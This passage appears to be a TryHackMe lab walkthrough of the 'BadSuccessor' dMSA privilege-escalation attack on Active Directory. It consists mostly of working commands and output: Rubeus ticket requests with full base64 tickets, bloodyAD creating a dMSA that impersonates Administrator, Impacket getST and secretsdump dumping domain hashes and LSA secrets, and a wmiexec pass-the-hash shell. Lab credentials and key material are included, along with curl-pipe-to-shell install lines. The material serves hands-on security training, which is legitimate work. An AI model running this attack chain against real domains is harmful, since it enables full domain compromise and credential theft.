.\Rubeus.exe asktgs /user:pentest_dmsa$ /service:cifs/DC-LAB2025-01.tryhackme.local /opsec /dmsa /nowrap /ptt /ticket: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


PS C:\PoC> .\Rubeus.exe asktgs /user:pentest_dmsa$ /service:cifs/DC-LAB2025-01.tryhackme.local /opsec /dmsa /nowrap /ptt /ticket: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

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3
[*] Action: Ask TGS

[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building DMSA TGS-REQ request for '' from 'pentest_dmsa$'
[+] Sequence number is: 995050947
[*] Using domain controller: DC-LAB2025-01.tryhackme.local (10.211.101.10)
[+] TGS request successful!
[*] '/opsec' passed and service ticket has the 'ok-as-delegate' flag set, requesting a delegated TGT.
[+] Sequence number is: 1414206984
[+] Ticket successfully imported!
[*] base64(ticket.kirbi):

      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

  ServiceName              :  cifs/DC-LAB2025-01.tryhackme.local
  ServiceRealm             :  TRYHACKME.LOCAL
  UserName                 :  pentest_dmsa$ (NT_PRINCIPAL)
  UserRealm                :  tryhackme.local
  StartTime                :  6/6/2026 5:20:33 PM
  EndTime                  :  6/6/2026 5:31:47 PM
  RenewTill                :  6/13/2026 4:35:23 PM
  Flags                    :  name_canonicalize, ok_as_delegate, pre_authent, renewable, forwarded, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  hage4iz88fwQ+LR0vBYk3IOZSyGReVkOOT2mPn2plsQ=

dir \\DC-LAB2025-01.tryhackme.local\c$\Users\Administrator\Desktop\

dir \\DC-LAB2025-01.tryhackme.local\c$\Users\Administrator\Desktop\

    Directory: \\DC-LAB2025-01.tryhackme.local\c$\Users\Administrator\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        5/29/2025   9:02 AM            251 flag.txt

PS C:\PoC> type \\DC-LAB2025-01.tryhackme.local\c$\Users\Administrator\Desktop\flag.txt

###########################################################

THM{Successors_Unplanned_Redacted}

Bad successors: because every empire needs a little drama and a lot of plot twists

###########################################################

Exploitation Using Linux

We can also perform the same exploitation steps from a Linux machine such as Kali using the newest version (2.1.18) of bloodyAD and the Impacket toolset.

Setting up the AttackBox

In order to get bloodyAD setup on the AttackBox, we are going to utilise uv by astral-sh(opens in new tab). It allows for the installation of Python packages on different virtual environments. We can install it with this command curl -LsSf https://astral.sh/uv/install.sh | sh.

 root@attackbox:~# curl -LsSf https://astral.sh/uv/install.sh | sh

downloading uv 0.7.9 x86_64-unknown-linux-gnu
no checksums to verify
installing to /root/.local/bin
  uv
  uvx
everything's installed!

Next, we will install bloodyAD using the command uv tool install --python 3.13 git+https://github.com/CravateRouge/bloodyAD.

The --python 3.13 tag allows us to install this tool in the python 3.13 environment to avoid any dependency errors If the installations hangs for a minute while installing one of the packages, just press CTRL+C and then execute the command one more time

root@attackbox:~# uv tool install --python 3.13 git+https://github.com/CravateRouge/bloodyAD
Resolved 19 packages in 278ms
    Updated https://github.com/CravateRouge/bloodyAD (1c0f2159865eaa147a474221e09561eee2e1828a)
...
...
 + unicrypto==0.0.10
Installed 1 executable: bloodyAD
root@attackbox:~# bloodyAD -h
usage: bloodyAD [-h] [-d DOMAIN] [-u USERNAME] [-p PASSWORD] [-k [KERBEROS ...]] [-f {b64,hex,aes,rc4,default}]
                [-c [CERTIFICATE]] [-s] --host HOST [--dc-ip DC_IP] [--dns DNS] [-t TIMEOUT] [--gc]
                [-v {QUIET,INFO,DEBUG}]
                {add,get,remove,set} ...

AD Privesc Swiss Army Knife

options:
  -h, --help            show this help message and exit
  -d, --domain DOMAIN   Domain used for NTLM authentication
  -u, --username USERNAME
                        Username used for NTLM authentication
  -p, --password PASSWORD
                        password or LMHASH:NTHASH for NTLM authentication, password or AES/RC4 key for kerberos,
                        password for certificate (Do not specify to trigger integrated windows authentication)
...
...
...
  -s, --secure          Try to use LDAP/GC over TLS aka LDAPS/GCS (default is no TLS)
  --host HOST           Hostname or IP of the DC (ex: my.dc.local or 172.16.1.3)
  --dc-ip DC_IP         IP of the DC (useful if you provided a --host which can't resolve)
  --dns DNS             IP of the DNS to resolve AD names (useful for inter-domain functions)
  -t, --timeout TIMEOUT
                        Connection timeout in seconds
  --gc                  Connect to Global Catalog (GC)
  -v, --verbose {QUIET,INFO,DEBUG}
                        Adjust output verbosity

Commands:
  {add,get,remove,set}
    add                 [ADD] function category
    get                 [GET] function category
    remove              [REMOVE] function category
    set                 [SET] function category

Note: Please keep in mind that the AttackBox has the Impacket scripts located in the /opt/impacket/examples/ directory.

Exploitation

First, let us edit the /etc/hosts file using your favourite text editor so that we can properly communicate with the domain controller:

root@attackbox:~# cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali
10.211.101.10   DC-LAB2025-01.tryhackme.local tryhackme tryhackme DC-LAB2025-01

Then, we can confirm if we have any of the permissions mentioned in task 4. We can do that using bloodyAD with the following command:

bloodyAD -d tryhackme.local -u 'tbyte' -p 'P@SSw0rd345' --host DC-LAB2025-01.tryhackme.local get writable --detail

  • We specify the domain with the -d flag

  • We use -u and -p to specify the credentials used

  • The --host flag is used to specify the fully qualified domain name (FQDN) of the domain controller

  • The get writable --detail flag is used to find any writable attributes for the user we are authenticating as

A successful run of the above command using our account tbyte is shown in the terminal below:

root@attackbox:~# bloodyAD -d tryhackme.local -u 'tbyte' -p 'P@SSw0rd345' --host DC-LAB2025-01.tryhackme.local get writable --detail
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=tryhackme,DC=local
url: WRITE
wWWHomePage: WRITE

distinguishedName: CN=Terry Byte,OU=OFFICE,DC=tryhackme,DC=local
thumbnailPhoto: WRITE
pager: WRITE
mobile: WRITE
...
...
distinguishedName: OU=LabOU,DC=tryhackme,DC=local
device: CREATE_CHILD
ipNetwork: CREATE_CHILD
organizationalUnit: CREATE_CHILD
...
...
dSA: CREATE_CHILD
ipsecISAKMPPolicy: CREATE_CHILD
...
...

We see that we have the dSA: CREATE_CHILD permission over the LabOU Organizational Unit (OU). We will now create the dMSA object with the following command:

bloodyAD -d tryhackme.local -u 'tbyte' -p 'P@SSw0rd345' --host DC-LAB2025-01.tryhackme.local add badSuccessor pentest2_dmsa

The add badSuccessor pentest2_dmsa options will utilize the BadSuccessor attack to create the dMSA object called pentest2_dmsa

root@attackbox:~# bloodyAD -d tryhackme.local -u 'tbyte' -p 'P@SSw0rd345' --host DC-LAB2025-01.tryhackme.local add badSuccessor pentest2_dmsa
[*] Creating DMSA pentest2_dmsa$ in OU=LabOU,DC=tryhackme,DC=local
[*] Impersonating: CN=Administrator,CN=Users,DC=tryhackme,DC=local

Realm        : TRYHACKME.LOCAL
Sname        : krbtgt/TRYHACKME.LOCAL
UserName     : pentest2_dmsa$
UserRealm    : tryhackme.local
StartTime    : 2025-06-01 17:09:52+00:00
EndTime      : 2025-06-02 03:09:52+00:00
RenewTill    : 2025-06-02 17:09:45+00:00
Flags        : renewable, forwardable, pre-authent, enc-pa-rep
Keytype      : 18
Key          : Mhy6eBls8ZUcp/+18Gzobjyoei9+gV/mOflY5yckr04=
EncodedKirbi : 

    doIGQzCCBj+gAwIBBaEDAgEWooIFJjCCBSJhggUeMIIFGqADAgEFoREbD1RSWUhBQ0tNRS5MT0NBTKIkMCKgAwIBAqEbMBkbBmty
    ...
    ...
    ...
    AgECoRswGRsGa3JidGd0Gw9UUllIQUNLTUUuTE9DQUw=
[+] dMSA TGT stored in ccache file pentest2_dmsa_ts.ccache

dMSA current keys found in TGS:
AES256: 0554f7dc79121dc1a38e639c90accae967fc37a26547445b8dab8771f619f177
AES128: 6cac5029502e1e1b2faef14942b3ce36
RC4: 848acc28b6855bcf16625d76deb38ebb

dMSA previous keys found in TGS (including keys of preceding managed accounts):
RC4: 984f755c74dda5d1ec46091043976fec

This creates and sets the dMSA object called pentest2_dmsa while impersonating the Administrator account by default. It also creates a ccache file for us which holds Kerberos credentials that are used for authentication.

Note: Please note that your ccache file might be named slightly differently.

We will now save the ccache file to the KRB5CCNAME environmental variable so that we can request a service ticket using the getST.py Impacket class using the following commands:

export KRB5CCNAME=pentest2_dmsa_ts.ccache

  • I am saving the contents of the ccache file to the environmental variable KRB5CCNAME

python3 /opt/impacket/examples/getST.py -dc-ip 10.211.101.10 -spn 'cifs/DC-LAB2025-01.tryhackme.local' 'tryhackme.local/pentest2_dmsa$' -k -no-pass

  • We specify the domain controller's IP address using the -dc-ip flag

  • We select the Service Principal Name (SPN) using the -spn flag. For the purposes of this room, we won't go into a deep dive on SPNs. But you can read more about them here

  • The tryhackme.local/pentest2_dmsa$ option specifies the domain and account that we want to log in with

  • The -k -no-pass options indicate that we want to utilise Kerberos authentication and not prompt for a password.

  • The -k flag reads from the KRB5CCNAME envrionmental variable if no credentials are provided

root@attackbox:~# export KRB5CCNAME=pentest2_dmsa_ts.ccache
root@attackbox:~# python3 /opt/impacket/examples/getST.py -dc-ip 10.211.101.10 -spn 'cifs/DC-LAB2025-01.tryhackme.local' 'tryhackme.local/pentest2_dmsa$' -k -no-pass
Impacket v0.13.0.dev0+20250530.173014.ff8c200f - Copyright Fortra, LLC and its affiliated companies 

[*] Getting ST for user
[*] Saving ticket in pentest2_dmsa$.ccache

We have request a new service ticket and saved the Kerberos credentials under a new ccache file. We can now perform a DCSync attack using the secretsdump.py Impacket class. This will extract all of the domain NTLM hashes:

export KRB5CCNAME=pentest_dmsa$.ccache

  • We save the new ccache file to the KRB5CCNAME environmental variable

python3 /opt/impacket/examples/secretsdump.py -k -no-pass 'pentest2_dmsa$'@DC-LAB2025-01.tryhackme.local

  • Similar to the getST.py command, we are using Kerberos authentication without a password prompt

  • The 'pentest2_dmsa$'@DC-LAB2025-01.tryhackme.local options specifies that we are loging in as pentest2_dmsa$ to the FQDN DC-LAB2025-01.tryhackme.local

root@attackbox:~# export KRB5CCNAME=pentest2_dmsa\$.ccache
root@attackbox:~# python3 /opt/impacket/examples/secretsdump.py -k -no-pass 'pentest2_dmsa$'@DC-LAB2025-01.tryhackme.local
Impacket v0.13.0.dev0+20250530.173014.ff8c200f - Copyright Fortra, LLC and its affiliated companies 

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xf790ab966daff922068e393a964a35fb
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:db00c6d839xxxxxxxxxecc7ab82a009e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
TRYHACKME\DC-LAB2025-01$:plain_password_hex:7d66c796281e513dc8c183387baba78b6e81f0ee9c998af58ecebc8b228165decf92d03b1f3b2c541ff416b563f13d7f10e8cb0576587e5858c5b5e08f2bb2dd5345f9b4f81336c9603b2745727c4b3ab1e8e64825e4b707334b89b33557bcfbdb08731610b3ca5f50f022cbba08d61eba612d1cf8c288a1803dbf1128d8e9b0b74ef1bc78b44987c7139a32233a720f823e010e51021da4e0382df493c6b9bf24f8fb7e9b919bd8facdaf15d240c4b25f668dd148b2b736526f57c1efa3bd36fd3858c5135393e7a27c527b5980aaaf963d5446f3fcce9290439999abe5666c1cc69ad07ce3d5ea0f39b966455d78fc
TRYHACKME\DC-LAB2025-01$:aad3b435b51404eeaad3b435b51404ee:7c7def3cf337002cce0f6951e425efee:::
[*] DPAPI_SYSTEM 
dpapi_machinekey:0xed2050afde5b4f719678688ad45be1e83d11aa60
dpapi_userkey:0xd81a86dcced0c9d6c63348640407fc4ddd7088f9
[*] NL$KM 
 0000   D6 F9 1E BE 20 95 21 6A  88 22 1F 5C 92 CE 2C 8A   .... .!j.".\..,.
 0010   BB CF 2C 38 59 53 A4 3A  EF A0 03 DA EA A5 A8 CF   ..,8YS.:........
 0020   0E 6F 91 92 02 3E 5B 45  40 E2 C7 A8 D5 DA 8B 11   .o...>[E@.......
 0030   6D 77 6B 5F 3F 78 48 12  0F BF A8 CE 06 C2 C6 7C   mwk_?xH........|
NL$KM:d6f91ebe2095216a88221f5c92ce2c8abbcf2c385953a43aefa003daeaa5a8cf0e6f9192023e5b4540e2c7a8d5da8b116d776b5f3f7848120fbfa8ce06c2c67c
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:984f755c74xxxxxxxxxxxxxx43976fec:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:52c43c39a2e4a1bef1cf81e06dbc9e06:::
tryhackme.local\strategos:1103:aad3b435b51404eeaad3b435b51404ee:0d278dd8162621bc91a6c0455c6af18a:::
tryhackme.local\user01:1104:aad3b435b51404eeaad3b435b51404ee:b29d0ad81e7f691149afab6926f05ffc:::
tryhackme.local\user02:1105:aad3b435b51404eeaad3b435b51404ee:270c42b9a0300a68c3d636764576b324:::
example.com\hdale:1112:aad3b435b51404eeaad3b435b51404ee:348bbb75c57749a09b3ad42c8b092608:::
example.com\pturner:1113:aad3b435b51404eeaad3b435b51404ee:348bbb75c57749a09b3ad42c8b092608:::
example.com\mfesto:1114:aad3b435b51404eeaad3b435b51404ee:348bbb75c57749a09b3ad42c8b092608:::
example.com\koscope:1115:aad3b435b51404eeaad3b435b51404ee:348bbb75c57749a09b3ad42c8b092608:::
example.com\bfitwell:1116:aad3b435b51404eeaad3b435b51404ee:348bbb75c57749a09b3ad42c8b092608:::
example.com\tgrate:1117:aad3b435b51404eeaad3b435b51404ee:348bbb75c57749a09b3ad42c8b092608:::
...
...

We can now use the wmiexec.py Impacket class for a pass-the-hash attack to log in as the Administrator with the following command:

python3 /opt/impacket/examples/wmiexec.py 'tryhackme.local/administrator@10.211.101.10' -hashes :984f755c74xxxxxxxxxxxxxx43976fec

  • We are specifying which domain, user, and IP address we are login into using the 'tryhackme.local/administrator@10.211.101.10' option

  • We indicate the user's NTLM hash that we are using for authentication with the -hashes : option

root@attackbox:~# python3 /opt/impacket/examples/wmiexec.py 'tryhackme.local/administrator@10.211.101.10' -hashes :984f755c74xxxxxxxxxxxxxx43976fec
Impacket v0.13.0.dev0+20250530.173014.ff8c200f - Copyright Fortra, LLC and its affiliated companies 

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
tryhackme\administrator

C:\>hostname
DC-LAB2025-01

Practice

curl -LsSf https://astral.sh/uv/install.sh | sh
downloading uv 0.11.19 x86_64-unknown-linux-gnu
installing to /root/.local/bin
  uv
  uvx
everything's installed!

To add $HOME/.local/bin to your PATH, either restart your shell or run:

    source $HOME/.local/bin/env (sh, bash, zsh)
    source $HOME/.local/bin/env.fish (fish)

root@ip-10-114-98-29:~# source $HOME/.local/bin/env
root@ip-10-114-98-29:~# uv tool install --python 3.13 git+https://github.com/CravateRouge/bloodyAD
Resolved 20 packages in 416ms
    Updated https://github.com/CravateRouge/bloodyAD (d1f3a5ce52f4115c0321366fe4a4e331daecc766)
      Built bloodyad @ git+https://github.com/CravateRouge/bloodyAD@d1f3a5ce52f4115c0321366fe4a4e331daecc766
Prepared 20 packages in 3.48s
Installed 20 packages in 98ms
 + asn1crypto==1.5.1
 + asysocks==0.2.18
 + badauth==0.1.6
 + badldap==0.7.5
 + bloodyad==2.5.4 (from git+https://github.com/CravateRouge/bloodyAD@d1f3a5ce52f4115c0321366fe4a4e331daecc766)
 + cffi==2.0.0
 + cryptography==44.0.2
 + dnspython==2.8.0
 + h11==0.16.0
 + kerbad==0.5.10
 + prompt-toolkit==3.0.52
 + pycparser==3.0
 + pycryptodomex==3.23.0
 + six==1.17.0
 + tabulate==0.10.0
 + tqdm==4.68.1
 + unicrypto==0.0.12
 + unidns==0.0.4
 + wcwidth==0.8.0
 + winacl==0.1.9
Installed 2 executables: bloodyAD, bloodyad

nano /etc/hosts

IP_Address   DC-LAB2025-01.tryhackme.local tryhackme tryhackme DC-LAB2025-01

bloodyAD -d tryhackme.local -u 'tbyte' -p 'P@SSw0rd345' --host 10.211.101.10 get writable --detail
/root/.local/share/uv/tools/bloodyad/lib/python3.13/site-packages/badldap/wintypes/winerror.py:13895: SyntaxWarning: invalid escape sequence '\<'
  0x80004017: { "code": "CO_E_RUNAS_SYNTAX", "message":"A RunAs specification must be <domain name>\<user name> or simply <user name>."},
/root/.local/share/uv/tools/bloodyad/lib/python3.13/site-packages/badldap/wintypes/winerror.py:14071: SyntaxWarning: invalid escape sequence '\<'
  0x8001012C: { "code": "CO_E_WRONGTRUSTEENAMESYNTAX", "message":"One of the trustee strings provided by the user did not conform to the <Domain>\<Name> syntax and it was not the *\" string\"."},

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=tryhackme,DC=local
url: WRITE
wWWHomePage: WRITE

